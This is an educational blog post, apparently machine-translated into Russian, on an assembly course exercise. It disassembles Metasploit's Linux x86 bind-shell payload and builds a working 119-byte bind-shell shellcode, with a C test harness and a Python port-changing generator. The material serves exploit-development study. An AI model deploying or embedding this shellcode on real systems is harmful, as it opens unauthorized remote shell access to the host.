Привет! Спасибо, что зашли. Первый пост в блоге здесь, и я буду отвечать на некоторые вопросы о заданиях по шеллкоду для курса SecurityTube Linux Assembly Expert (SLAE), который проводит Вивек Рамачандран в Pentester Academy.

Для новичка в сборке вроде меня это был потрясающий курс! Я получил гораздо лучшее представление о том, как работают компьютеры, научился писать простые программы на 32-битном языке ассемблера для архитектуры Intel и создавать собственный шеллкод.

Сначала я прошел курс, потому что слышал, что это хорошее введение в разработку эксплойтов, которое может помочь мне получить сертификат сертифицированного эксперта по наступательной безопасности (OSCE). Выполнив OSCP, кучу веб-приложений, мобильных приложений и тестов на проникновение в инфраструктуру на работе, я почувствовал, что мне действительно нужно сделать следующий шаг и улучшить свои собственные навыки написания эксплойтов.

В любом случае... Я надеюсь сделать эти записи достаточно простыми, чтобы вы могли следовать им, даже если вы не знакомы с ассемблером x86 Intel (ассемблирование повсюду), и, надеюсь, вы сможете понять основы.

Давайте погрузимся в это!

Эта задача полностью посвящена написанию нашего собственного шелл-кода для оболочки привязки. Ну как мне это сделать? Первое, о чем я подумал, было «давайте начнем со strace на netcat» и посмотрим, какие системные вызовы (системные вызовы) он использует.

$ strace nc -nlvp 4444
...snip...
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
setsockopt(3, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0
setsockopt(3, SOL_SOCKET, SO_REUSEPORT, [1], 4) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)                            = 0
write(2, "Listening on [0.0.0.0] (family 0"..., 45Listening on [0.0.0.0] (family 0, port 4444)
) = 45
accept4(3, {sa_family=AF_INET, sin_port=htons(45880), sin_addr=inet_addr("127.0.0.1")}, [128->16], SOCK_NONBLOCK) = 4
...snip...

Прохладный. Итак, мы видим, что происходит несколько системных вызовов, которые, вероятно, будут важны для использования. Это socket bind listen и accept4. Похоже, мы могли бы пойти дальше и хотя бы заняться открытием порта привязки с помощью некоторого ассемблерного кода. Но нам нужна оболочка для запуска этого соединения. Хм…

Есть так много способов сделать это, но я решил использовать msfvenom, чтобы просто создать шелл-код для полезной нагрузки linux/x86/shell_bind_tcp. Затем я использовал gdb, чтобы посмотреть, что происходит под капотом.

$ msfvenom -p linux/x86/shell_bind_tcp -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 78 bytes
Final size of c file: 354 bytes
unsigned char buf[] = 
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Я скопировал выходной шелл-код в следующую программу на C, которая, по сути, печатает длину шелл-кода перед запуском шелл-кода.

$ cat shellcode.c 
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Давайте скомпилируем это и запустим внутри gdb.

$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
$ gdb ./shellcode
(gdb) break main
(gdb) run
(gdb) disassemble
Dump of assembler code for function main:
   0x5655554d <+0>: lea    ecx,[esp+0x4]
   0x56555551 <+4>: and    esp,0xfffffff0
   0x56555554 <+7>: push   DWORD PTR [ecx-0x4]
   0x56555557 <+10>: push   ebp
   0x56555558 <+11>: mov    ebp,esp
   0x5655555a <+13>: push   ebx
   0x5655555b <+14>: push   ecx
=> 0x5655555c <+15>: sub    esp,0x10
   0x5655555f <+18>: call   0x56555450 <__x86.get_pc_thunk.bx>
   0x56555564 <+23>: add    ebx,0x1a70
   0x5655556a <+29>: sub    esp,0xc
   0x5655556d <+32>: lea    eax,[ebx+0x4c]
   0x56555573 <+38>: push   eax
   0x56555574 <+39>: call   0x565553e0 <strlen@plt>
   0x56555579 <+44>: add    esp,0x10
   0x5655557c <+47>: sub    esp,0x8
   0x5655557f <+50>: push   eax
   0x56555580 <+51>: lea    eax,[ebx-0x19a4]
   0x56555586 <+57>: push   eax
   0x56555587 <+58>: call   0x565553d0 <printf@plt>
   0x5655558c <+63>: add    esp,0x10
   0x5655558f <+66>: lea    eax,[ebx+0x4c]
   0x56555595 <+72>: mov    DWORD PTR [ebp-0xc],eax
   0x56555598 <+75>: mov    eax,DWORD PTR [ebp-0xc]
   0x5655559b <+78>: call   eax
   0x5655559d <+80>: mov    eax,0x0
   0x565555a2 <+85>: lea    esp,[ebp-0x8]
   0x565555a5 <+88>: pop    ecx
   0x565555a6 <+89>: pop    ebx
   0x565555a7 <+90>: pop    ebp
   0x565555a8 <+91>: lea    esp,[ecx-0x4]
   0x565555ab <+94>: ret    
End of assembler dump.

На данный момент мы не можем видеть наш шеллкод. Потому что еще не звонили. Действительно простой способ прервать наш шелл-код в начале этого примера — установить точку останова в нашей переменной code, выполнив следующие действия:

(gdb) info variables
...snip...
0x56557020  code
...snip...
(gdb) break *0x56557020

И если вы хотите убедиться, что код действительно указывает на наш шеллкод, подтвердите это, выполнив:

(gdb) x/20x 0x56557020
0x56557020 <code>: 0xe3f7db31 0x6a534353 0xb0e18902 0x5b80cd66
0x56557030 <code+16>: 0x0268525e 0x6a5c1100 0x89505110 0x58666ae1
0x56557040 <code+32>: 0x418980cd 0xb004b304 0x4380cd66 0x80cd66b0
0x56557050 <code+48>: 0x3f6a5993 0x4980cd58 0x2f68f879 0x6868732f
0x56557060 <code+64>: 0x6e69622f 0x5350e389 0x0bb0e189 0x000080cd

Отлично, вроде все есть. Запустим программу еще раз, давайте дизассемблируем в нашей новой точке останова и посмотрим, что мы найдем.

Breakpoint 1, 0x5655555c in main ()
(gdb) c
Continuing.
Shellcode Length:  20
Breakpoint 2, 0x56557020 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x56557020 <+0>: xor    ebx,ebx
   0x56557022 <+2>: mul    ebx
   0x56557024 <+4>: push   ebx
   0x56557025 <+5>: inc    ebx
   0x56557026 <+6>: push   ebx
   0x56557027 <+7>: push   0x2
   0x56557029 <+9>: mov    ecx,esp
   0x5655702b <+11>: mov    al,0x66
   0x5655702d <+13>: int    0x80
   0x5655702f <+15>: pop    ebx
   0x56557030 <+16>: pop    esi
   0x56557031 <+17>: push   edx
   0x56557032 <+18>: push   0x5c110002
   0x56557037 <+23>: push   0x10
   0x56557039 <+25>: push   ecx
   0x5655703a <+26>: push   eax
   0x5655703b <+27>: mov    ecx,esp
   0x5655703d <+29>: push   0x66
   0x5655703f <+31>: pop    eax
   0x56557040 <+32>: int    0x80
   0x56557042 <+34>: mov    DWORD PTR [ecx+0x4],eax
   0x56557045 <+37>: mov    bl,0x4
   0x56557047 <+39>: mov    al,0x66
   0x56557049 <+41>: int    0x80
   0x5655704b <+43>: inc    ebx
   0x5655704c <+44>: mov    al,0x66
   0x5655704e <+46>: int    0x80
   0x56557050 <+48>: xchg   ebx,eax
   0x56557051 <+49>: pop    ecx
   0x56557052 <+50>: push   0x3f
   0x56557054 <+52>: pop    eax
   0x56557055 <+53>: int    0x80
   0x56557057 <+55>: dec    ecx
   0x56557058 <+56>: jns    0x56557052 <code+50>
   0x5655705a <+58>: push   0x68732f2f
   0x5655705f <+63>: push   0x6e69622f
   0x56557064 <+68>: mov    ebx,esp
   0x56557066 <+70>: push   eax
   0x56557067 <+71>: push   ebx
   0x56557068 <+72>: mov    ecx,esp
   0x5655706a <+74>: mov    al,0xb
   0x5655706c <+76>: int    0x80
   0x5655706e <+78>: add    BYTE PTR [eax],al
End of assembler dump.

Проверка первого системного вызова

Теперь, если вы никогда раньше не смотрели на ассемблер, давайте немного разберемся. По сути, нас очень интересуют системные вызовы. Помните socket bind listen accept? Ну, это примеры системных вызовов, а системные вызовы происходят, когда прерывание ядра или инструкция int 0x80 выполняются процессором. Если вы посмотрите на приведенный выше вывод, вы заметите, что int 0x80 появляется несколько раз. Вы спросите — разве они не одинаковы? Как процессор определяет, какой именно системный вызов нужно запустить?

Все зависит от того, какие значения хранятся в регистрах (eax, ebx и т. д.) до того, как произойдет системный вызов. Давайте определим значения в регистрах до того, как произойдет первый системный вызов. Если мы просто сосредоточимся на первом фрагменте, это станет ясно довольно быстро.

Breakpoint 2, 0x56557020 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x56557020 <+0>: xor    ebx,ebx
   0x56557022 <+2>: mul    ebx
   0x56557024 <+4>: push   ebx
   0x56557025 <+5>: inc    ebx
   0x56557026 <+6>: push   ebx
   0x56557027 <+7>: push   0x2
   0x56557029 <+9>: mov    ecx,esp
   0x5655702b <+11>: mov    al,0x66
   0x5655702d <+13>: int    0x80

Шелл-код начинает с операции XOR с регистром ebx с самим собой, что делает его равным нулю. Команда MUL по существу берет исходный регистр (в данном случае это ebx) и умножает его на регистр назначения (неявно это eax). Кроме того, поскольку перемножаются два 32-битных значения, результат может быть больше, чем 32-битное значение, и поэтому результат возвращается в виде двух пар, которые сохраняются в eax и edx. Этот ответ stackoverflow более подробно описывает команду MUL, если вам интересно https://stackoverflow.com/questions/40893026/mul-function-in-assembly.

Итак, прямо сейчас eax = 0, ebx = 0 и edx = 0. Следующим в стек помещается Ebx, а затем увеличивается значение ebx. Ebx снова помещается в стек, а затем в стек помещается значение 0x2. Таким образом, на самом деле изменились только две вещи: ebx = 1 и стек выглядит так:

0xffffd040: 0x00000002 0x00000001 0x00000000

Затем мы перемещаем esp в ecx, что означает, что ecx теперь содержит адрес, указывающий на вершину нашего стека, то есть 0xffffd040. Наконец, мы перемещаем шестнадцатеричное значение 0x66 (десятичное 102) в регистр eax.

Теперь у нас есть eax = 102, ebx = 1, ecx = 0xffffd040 и edx = 0. Значение 102 на самом деле относится к номеру системного вызова, который должен быть выполнен. Это значение всегда хранится в eax. Эти значения системных вызовов можно найти в unistd_32.h.

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h
...snip...
#define __NR_socketcall 102
...snip...

Похоже, мы делаем системный вызов socketcall. Лучше проверьте справочную страницу. Страница руководства показывает, что socketcall принимает следующие аргументы:

int socketcall(int call, unsigned long *args);

Целые числа «вызова» определены в /usr/include/linux/net.h, и чтение этого файла показывает, что значение 1 (поскольку ebx = 1) относится к вызову SYS_SOCKET. Под капотом это просто использует системный вызов socket, и, обратившись к справочной странице сокета, мы обнаружим, что он принимает три аргумента:

int socket(int domain, int type, int protocol);

Каждое целое число для домена, типа и протокола можно найти в файлах /usr/include/x86_64-linux-gnu/bits/socket.h, /usr/src/linux-headers-<version>/include/linux/net.h и /usr/include/netinet/in.h соответственно. В нашем случае ecx указывает на стек, который содержит значения (2, 1, 0), и это действительно означает, что мы запускаемint socket(AF_INET, SOCK_STREAM, IPPROTO_IP), что замечательно, потому что именно это мы видели в выводе strace ранее! Поскольку socketcall принимает только два аргумента (ebx, ecx), нам не нужно беспокоиться о edx.

Теперь все готово, когда мы выполним int 0x80, он вызовет socketcall с аргументами в ebx и ecx, что, по сути, создаст наш сокет/конечную точку!

Какие еще системные вызовы используются в шелл-коде linux/x86/shell_bind_tcp?

Это суть того, что мы хотим знать. Затем мы можем пойти и реализовать эти системные вызовы в нашем собственном ассемблере, по-своему круто. Я не собираюсь разбирать следующие фрагменты, как в случае с вызовом сокета выше. Просто я просто определяю, какие системные вызовы выполняются, и буду помнить, какие значения передаются в качестве аргументов.

Второй фрагмент:

0x5655702f <+15>: pop    ebx
0x56557030 <+16>: pop    esi
0x56557031 <+17>: push   edx
0x56557032 <+18>: push   0x5c110002
0x56557037 <+23>: push   0x10
0x56557039 <+25>: push   ecx
0x5655703a <+26>: push   eax
0x5655703b <+27>: mov    ecx,esp
0x5655703d <+29>: push   0x66
0x5655703f <+31>: pop    eax
0x56557040 <+32>: int    0x80

Eax все еще имеет значение 0x66 для socketcall. На этот раз ebx содержит значение 2, что означает, что используется SYS_BIND. SYS_BIND использует системный вызов bind, в чем можно убедиться, прочитав справочную страницу socketcall.

Третий фрагмент:

0x56557042 <+34>: mov    DWORD PTR [ecx+0x4],eax
0x56557045 <+37>: mov    bl,0x4
0x56557047 <+39>: mov    al,0x66
0x56557049 <+41>: int    0x80

Eax = 0x66, ebx = 0x4, то есть SYS_LISTEN, который использует системный вызов listen.

Четвертый фрагмент:

0x5655704b <+43>: inc    ebx
0x5655704c <+44>: mov    al,0x66
0x5655704e <+46>: int    0x80

Eax = 0x66, и из-за увеличения команды ebx теперь ebx = 0x5, то есть SYS_ACCEPT, который использует системный вызов accept.

Пятый фрагмент:

0x56557050 <+48>: xchg   ebx,eax
0x56557051 <+49>: pop    ecx
0x56557052 <+50>: push   0x3f
0x56557054 <+52>: pop    eax
0x56557055 <+53>: int    0x80

Хорошо, теперь у нас есть eax = 0x3f (63 в десятичной системе), что является системным вызовом dup2. Это будет использовано для дублирования файлового дескриптора, возвращаемого результатом системного вызова accept. Мы вернемся к этому позже, когда будем писать собственный шелл-код для связывания.

Шестая часть:

0x56557057 <+55>: dec    ecx
0x56557058 <+56>: jns    0x56557052 <code+50>
0x5655705a <+58>: push   0x68732f2f
0x5655705f <+63>: push   0x6e69622f
0x56557064 <+68>: mov    ebx,esp
0x56557066 <+70>: push   eax
0x56557067 <+71>: push   ebx
0x56557068 <+72>: mov    ecx,esp
0x5655706a <+74>: mov    al,0xb
0x5655706c <+76>: int    0x80

Первые две строки здесь показывают, что ecx уменьшается, а инструкция jns используется для создания цикла, так что системный вызов dup2 в пятом блоке выполняется три раза (для создания файловых дескрипторов stdin, stdout и stderr).

Ниже мы видим, что значение 0xb перемещается в eax перед инструкцией int 0x80. 0xb — это 11 в десятичном виде, и, обратившись к нашему очень удобному файлу unistd_32.h, мы можем увидеть, что он работает под управлением execve.

Создание собственного шеллкода

Вот тут-то и начинается самое интересное. Мы успешно разобрались, как работает шеллкод metasploit/msfvenom linux x86 shell_bind_tcp. По порядку он использовал следующие системные вызовы:

  1. socket
  2. bind
  3. listen
  4. acccept
  5. dup2
  6. execve

Здорово! Это будет нашим руководством по созданию собственного шелл-кода! Основные шаги, которые я предприму, чтобы написать это на ассемблере, в основном будут такими:

  1. Прочтите unistd_32.h и определите значение системного вызова.
  2. Поместите значение системного вызова в eax
  3. Прочтите справочную страницу системного вызова, чтобы узнать, какие аргументы он принимает.
  4. В зависимости от количества аргументов поместите эти значения в правильные регистры. Например. если есть три аргумента, я помещу значения в ebx, ecx и edx перед вызовом инструкции int 0x80.

Сокет

Я рассмотрел этот системный вызов довольно подробно ранее, поэтому я буду немного более краток, чем с другими системными вызовами. Однако я собираюсь сделать это немного иначе, чем шелл-код metasploit. Я собираюсь использовать socket напрямую (0x167) вместо socketcall.

Мы уже определили, что socket принимает три аргумента: int socket(int domain, int type, int protocol) и что эти значения должны быть 2, 1 и 0 соответственно. Давайте реализуем это с помощью следующего кода.

xor eax, eax     ; zero out and prevent nulls in our shellcode later
mov ax, 0x167    ; socket syscall
 
xor ebx, ebx     ; zero out other registers
xor ecx, ecx
xor edx, edx
mov bl, 0x2     ; 2 is for AF_INET / PF_INET protocol family
mov cl, 0x1     ; 1 is for SOCK_STREAM type
                ; edx is already 0
int 0x80        ; call socket(2,1,0)

Обратите внимание, что socket возвращает файловый дескриптор, и он будет помещен в регистр eax. Это значение понадобится нам для продолжения работы с этой конечной точкой в ​​остальной части программы.

Привязать

Страница руководства для bind(0x169) показывает, что bind принимает три аргумента следующим образом:

int bind(int sockfd, const struct sockaddr *addr,
         socklen_t addrlen);

Для первого аргумента требуется значение int для sockfd, которое в настоящее время находится в eax, то есть возвращаемое значение из функции сокета. Второй аргумент — это указатель на структуру адреса сокета, т. е. *addr. Для структуры sockaddr требуется 16 байтов, включая семейство протоколов (AF_INET), порт для прослушивания (например, 4444), INADDR (например, 0.0.0.0 для прослушивания на всех интерфейсах), а также 8 байтов заполнения. Поэтому *addr должен указывать на что-то вроде:

0x5c110002 0x00000000 0x00000000 0x00000000

Третий аргумент — это просто длина в байтах адресной структуры, на которую указывает *addr (т. е. 16 байт). Однако мы будем вычислять это, используя стек и базовый указатель, а не жестко закодированные 16 байтов. Собрав все это вместе, мы имеем:

mov ebx, eax      ; move socket fd result into ebx
xor eax, eax
mov ax, 0x169     ; bind syscall
mov ebp, esp      ; set start of stack frame
push edx          ; push 4 bytes of padding
push edx          ; push another 4 bytes of padding
push edx          ; INADDR set to 0.0.0.0
push word 0x5c11  ; port 4444 in reverse hex because little endian
push word 0x2     ; 2 is the value for AF_INET
mov ecx, esp      ; ecx now points to address structure
sub ebp, esp      ; store sockaddr size in ebp
mov edx, ebp      ; move struct size into edx
int 0x80          ; call bind syscall

Слушайте

Страница руководства для listen (0x16b) показывает, что она принимает два аргумента следующим образом:

int listen(int sockfd, int backlog);

Это очень просто, позволяет просто выполнить xor eax с самим собой и поместить 0x16b. Ebx уже содержит значение sockfd, а отставание относится только к максимальному количеству ожидающих соединений, которое вы хотите. Нам нужно только одно соединение.

xor eax, eax
mov ax, 0x16b    ; listen syscall
                 ; ebx still contains socket fd
xor ecx, ecx     
mov cl, 0x1      ; backlog equals one for max one connection
int 0x80         ; call listen syscall

Принять

Фактический системный вызов, который мы будем здесь использовать, называется accept4 (0x16c), но он делает то же самое, что и accept, и принимает следующие аргументы:

int accept4(int sockfd, struct sockaddr *addr,
            socklen_t *addrlen, int flags);

Если мы установим флаги int равными нулю, тогда accept4 будет иметь ту же функциональность, что и accept, согласно справочной странице. Мы уже знаем sockfd и *addr. На самом деле единственное, что нам нужно сделать здесь, это поместить адрес addrlen в стек (то есть 0x00000010) и создать новый указатель на него с именем *addrlen для третьего аргумента.

xor eax, eax
mov ax, 0x16c      ; accept4 syscall
                   ; ebx still contains socket fd
mov ecx, esp       ; ecx points to sockaddr
push edx           ; push struct size onto stack
mov edx, esp       ; edx now points to addrlen
xor esi, esi       ; set int flags parameter to 0
int 0x80           ; accept4 syscall

После запуска функция accept4 вернет новый файловый дескриптор для подключенного сокета. Этот новый файловый дескриптор будет храниться в eax.

Dup2

Здесь нам нужно продублировать подключенный сокет три раза, чтобы мы могли перенаправить stdin, stdout и stderr. dup2 (0x3f) принимает следующие аргументы:

int dup2(int oldfd, int newfd);

Где oldfd относится к подключенному сокету, возвращенному из accept4, а newfd относится к стандартному вводу (0), стандартному выводу (1) или стандартному выводу (2).

        mov ebx, eax     ; mov connected socket fd into ebx
        xor ecx, ecx
        mov cl, 0x3      ; we will loop 3 times (2, 1, and 0)
_dupfds:                 ; create 3 new fds for stdin,stdout,stderr
        xor eax, eax
        mov al, 0x3f     ; dup2 syscall value
        dec ecx          
        int 0x80         ; execute dup2
        jnz _dupfds      ; loop until ecx = 0

Инструкция JNZ не будет возвращаться к началу _dupfds, если цикл повторится три раза. Это связано с тем, что третий раунд уменьшит ecx до нуля, что установит нулевой флаг. Когда установлен нулевой флаг, JNZ не вернется к _dupfds.

Выполнить

Последний. Нам просто нужно получить execve (0xb) для запуска /bin/sh, и наша замечательная программа оболочки связывания будет завершена, и мы сможем извлечь из нее шелл-код. Ссылаясь на справочную страницу, execve принимает следующие аргументы:

int execve(const char *filename, char *const argv[],
           char *const envp[]);

Указатель *filename должен указывать на завершающуюся нулем строку программы, которую мы хотим выполнить, то есть /bin/sh. Второй аргумент, argv, представляет собой массив константных указателей, которые должны указывать на имя файла, а затем указывать на любые аргументы для передачи этому имени файла/двоичному файлу. Поскольку нам не нужно передавать какие-либо аргументы в /bin/sh, когда мы его вызываем, нам просто нужно передать два постоянных указателя, один на имя файла, а второй на нули. Аргумент envp снова представляет собой массив указателей const, который должен указывать на строки вида ключ=значение, и нам не нужно его использовать, так что он тоже может быть нулевым.

_execve:
        xor eax, eax           ; reset registers to zero
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov al, 0xb            ; execve syscall
        push ebx               ; put nulls on stack
        push dword 0x68732f2f
        push dword 0x6e69622f  ; push /bin//sh onto the stack
        mov ebx, esp           ; ebx points to filename
        push edx               ; put nulls on the stack
        mov edx, esp           ; pointer to envp array (null)
        push ebx
        mov ecx, esp           ; pointer to argv array
        int 0x80   ; syscall to execve

Объединяем все вместе

Соединяя все наши куски вместе, мы имеем:

; Purpose: Open a bind port on the local computer
; Filename: bind.nasm
global _start
section .text
_start:
       xor eax, eax     ; zero out and prevent nulls in shellcode 
       mov ax, 0x167    ; socket syscall
 
       xor ebx, ebx     ; zero out other registers
       xor ecx, ecx
       xor edx, edx
       mov bl, 0x2      ; 2 is for AF_INET / PF_INET protocol family
       mov cl, 0x1      ; 1 is for SOCK_STREAM type
                        ; edx is already 0
       int 0x80         ; call socket(2,1,0)

      mov ebx, eax      ; move socket fd result into ebx
      xor eax, eax
      mov ax, 0x169     ; bind syscall
      mov ebp, esp      ; set start of stack frame
      push edx          ; push 4 bytes of padding
      push edx          ; push another 4 bytes of padding
      push edx          ; INADDR set to 0.0.0.0
      push word 0x5c11  ; port 4444 in reverse hex (little endian)
      push word 0x2     ; 2 is the value for AF_INET
      mov ecx, esp      ; ecx now points to address structure
      sub ebp, esp      ; store sockaddr size in ebp
      mov edx, ebp      ; move struct size into edx
      int 0x80          ; call bind syscall

      xor eax, eax
      mov ax, 0x16b     ; listen syscall
                        ; ebx still contains socket fd
      xor ecx, ecx     
      mov cl, 0x1       ; backlog equals one for max one connection
      int 0x80          ; call listen syscall

      xor eax, eax
      mov ax, 0x16c     ; accept4 syscall
                        ; ebx still contains socket fd
      mov ecx, esp      ; ecx points to sockaddr
      push edx          ; push struct size onto stack
      mov edx, esp      ; edx now points to addrlen
      xor esi, esi      ; set int flags parameter to 0
      int 0x80          ; accept4 syscall

      mov ebx, eax      ; mov connected socket fd into ebx
      xor ecx, ecx
      mov cl, 0x3       ; we will loop 3 times (2, 1, and 0)
_dupfds:                ; create 3 new fds for stdin,stdout,stderr
      xor eax, eax
      mov al, 0x3f      ; dup2 syscall value
      dec ecx
      int 0x80          ; execute dup2
      jnz _dupfds       ; loop until ecx = 0
_execve:
      xor eax, eax      ; reset registers to zero
      xor ebx, ebx
      xor ecx, ecx
      xor edx, edx
      mov al, 0xb             ; execve syscall
      push ebx                ; put nulls on stack
      push dword 0x68732f2f
      push dword 0x6e69622f   ; push /bin//sh onto the stack
      mov ebx, esp            ; ebx points to filename
      push edx                ; put nulls on the stack
      mov edx, esp            ; pointer to envp array (null)
      push ebx
      mov ecx, esp            ; pointer to argv array
      int 0x80   ; syscall to execve

Давайте просто убедимся, что это работает. Я поместил свой код в файл с именем bind.nasm. Я также использую систему x86_64, поэтому я добавил параметр -m EMULATION, используя elf_i386.

$ nasm -f elf32 -o bind.o bind.nasm
$ ld -o bind bind.o -m elf_i386
$ ./bind

В другом терминале я буду подключаться с помощью netcat.

$ nc -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
whippy

Потрясающий!! Похоже, это работает.

Извлечение шелл-кода

Время, которого мы все ждали, давайте получим этот шеллкод! Мы можем просто запустить objdump с параметром -d (разборка), чтобы увидеть коды операций, которые будут нашим шеллкодом.

$ objdump -d bind

Аккуратный скрипт, найденный по адресу https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump, поможет нам скопировать все коды операций в нужный формат. для нашего шелл-кода, чтобы мы могли его протестировать.

$ objdump -d bind |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

Тестирование шеллкода

Помните, в начале этого поста мы скопировали версию metasploit в эту программу на C и протестировали ее? Да, вы поняли, давайте сделаем то же самое, но с нашим шелл-кодом.

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";
       
main()
{
printf("Shellcode Length:  %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Компиляция и запуск этой программы на C действительно создает ту же самую оболочку связывания.

$ gcc -fno-stack-protector -z execstack -m32 -o shellcode shellcode.c
$ ./shellcode
Shellcode Length:   119

Аналогично тому, как мы запускали ./bind из bind.nasm, если мы откроем netcat в другом терминале, мы теперь сможем подключиться к оболочке привязки на локальном хосте через порт 4444, как и раньше.

Простая настройка порта привязки

Если вас интересовал только шеллкод, то эта часть сделана, уф! Но самое последнее, что требует курс, это сделать порт привязки легко настраиваемым.

Мы использовали порт 4444, который в шестнадцатеричном формате равен 0x115c. Из-за архитектуры с прямым порядком байтов мы поместили это значение в стек в обратном порядке как 0x5c11. Хм, на самом деле все, что нам нужно сделать, это изменить одну часть, а остальная часть нашего кода останется прежней. Давайте просто напишем простой скрипт на Python, который примет номер порта, который мы хотим использовать в качестве аргумента, затем он изменит только это шестнадцатеричное значение и даст нам наш новый шелл-код. т.е. выделенная жирным шрифтом часть ниже.

"\x31\xc0\x66\xb8\x67\x01\x31\xdb\x31\xc9\x31\xd2\xb3\x02\xb1\x01\xcd\x80\x89\xc3\x31\xc0\x66\xb8\x69\x01\x89\xe5\x52\x52\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x29\xe5\x89\xea\xcd\x80\x31\xc0\x66\xb8\x6b\x01\x31\xc9\xb1\x01\xcd\x80\x31\xc0\x66\xb8\x6c\x01\x89\xe1\x52\x89\xe2\x31\xf6\xcd\x80\x89\xc3\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x49\xcd\x80\x75\xf7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

В следующем скрипте на Python я модифицировал предыдущий скрипт objdump и работал с шелл-кодом без «\x». Я просто разбил шелл-код на две части, вставил новый номер порта, прошил все обратно, а потом добавил «\x». Примечание: будьте осторожны при выборе используемого порта, так как он не добавит пустых значений (\x00) в шелл-код.

#!/usr/bin/python
# filename: 
import sys

try:
    if 1 <= int(sys.argv[1]) <= 65535:
        shellcode_partone = "31c066b8670131db31c931d2b302b101cd8089c331c066b8690189e55252526668"
        port = "{0:#0{1}x}".format(int(sys.argv[1]),6) #e.g 4444 will be turned into '0x115c' or 12 to '0x000c'
        port_first_half = port[2:4]     # e.g. 4444 -> '11'
        port_second_half = port[4:6]    # e.g. 4444 -> '5c'
        if port_first_half == "00" or port_second_half == "00":
            print "WARNING: Nulls in shellcode, use different port"
        shellcode_parttwo = "666a0289e129e589eacd8031c066b86b0131c9b101cd8031c066b86c0189e15289e231f6cd8089c331c9b10331c0b03f49cd8075f731c031db31c931d2b00b53682f2f7368682f62696e89e35289e25389e1cd80"
        shellcode = shellcode_partone + port_first_half + port_second_half + shellcode_parttwo
        xformat_shellcode = "\\x" + "\\x".join(shellcode[n:n+2] for n in range(0, len(shellcode), 2))
        print "Bind shellcode for port " + sys.argv[1] + ': \r\n' + xformat_shellcode
    else:
        print "Invalid port number, try again"
except:
     print "Something went wrong, try again"

Запуск этого для использования порта 12345 (0x3039) будет выглядеть следующим образом:

$ ./bind-generator.py 12345
Bind shellcode for port 12345: 
